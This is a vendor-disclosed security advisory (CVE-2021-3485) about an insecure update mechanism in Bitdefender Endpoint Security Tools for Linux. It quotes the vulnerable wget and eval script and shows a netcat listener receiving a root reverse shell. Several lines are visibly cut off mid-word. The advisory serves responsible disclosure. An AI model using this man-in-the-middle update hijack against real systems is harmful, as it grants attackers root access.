Linux

Advisory ID: usd-2021-0014
CVE Number: CVE-2021-3485
Affected Product: Bitdefender Endpoi
Affected Version: < 6.2.21.155
Vulnerability Type: Improper Input Val
Security Risk: Medium
Vendor URL: https://www.bitdefender.com/
Vendor Status: Fixed

Description

The BitDefender Endpoint Security Tools Product Update uses an insecure way of performing product updates. An Attacker in a man-in-the-middle position can exploit this and gain remote code execution as root.

The vulnerable part of the application is the update mechanism called „product-update". It uses an insecure channel to receive the content of the update.

Proof of Concept (PoC)

The vulnerable Code is inside the *DownloadFile* function of the product-update bash script. In the following, one can see a code snippet from the file. The *RunCommand* function is a wrapper for eval assuring that the command is run as root.

```
DownloadFile ()
{
#proxy download
eval RunCommand 'ftp_proxy="http://$proxyHost" \
http_proxy="http://$proxyHost" \
https_proxy="https://$proxyHost" \
wget --no-check-certificate ${opts} -q -T 60 --tries=2 -O \"${to}\" \"${from}\" \
&& Log append "Done." && DWL_METHOD="wget_proxy" && return 0'
[...]
#direct download
eval RunCommand 'wget --no-check-certificate ${opts} -q -T 60 --tries=2 -O "\"${to}\"" ${from}' \
&& USE_PROXY="N" && DWL_METHOD="wget_direct" && Log append "Done." && return 0
[...]
}
```

As one can see, the file download is done using *wget* with the *–no-check-certificate* flag. In our examined test setup BitDefender used HTTP instead of HTTPS anyway.

The path to gain remote code execution is as follows:

```
[...]
DownloadFile "${setupdir}/${verfile}" "${URL}/${verfile}" || RET=1
[...]
#download new script and run it with same params
NEW_SCRIPT_URL+="/${newscript}"

DownloadFile "${SCRIPTDIR}/${newscript}" "${NEW_SCRIPT_URL}"
RunCommand "chmod +x \"${SCRIPTDIR}/${newscript}\""
[...]
RunCommand "\"${SCRIPTDIR}/${newscript}\" $*"
[...]
```

On the attacker Webserver this can be observed as:

```
"GET http://192.168.1.144:7074//bst_nix/latest_rings.dat HTTP/1.1" 200 -
"GET http://192.168.1.144:                                          200 -
"GET http://192.168.1.144:
```

When a python reverse shell is used th

```
# nc -l -p 4242 -v
Listening on [0.0.0.0] (fa
Connection from cq-1120 33

root@cq-1120:/opt/BitDefer
uid=0(root) gid=0(root) gr
```

Fix

It is recommended to use industry pro… …el for communication and signing update binaries with a manufacturer p…

Timeline

- 2021-04-07: Vulnerability identified by Ralf Almon of usd AG.
- 2021-04-07: Initial report to vendor.
- 2021-04-28: CVE-2021-3485 is assigned.
- 2021-05-05: Security release is scheduled for 19th May.
- 2021-05-19: Security release is published.
- 2021-05-24: Security advisory is published: https://www.bitdefender.com/support/security-advisories/improper-input-validation-in-bitdefender-endpoint-security-tools-for-linux-va-9769/.
- 2021-05-31: Security advisory released by usd AG.

Credits

This security vulnerability was found by Ralf Almon of usd AG.

About usd Security Advisories

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security."

to usd AG

In accordance with usd AG's Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

Security Advisories zu Apache Tor

Nov 24, 2022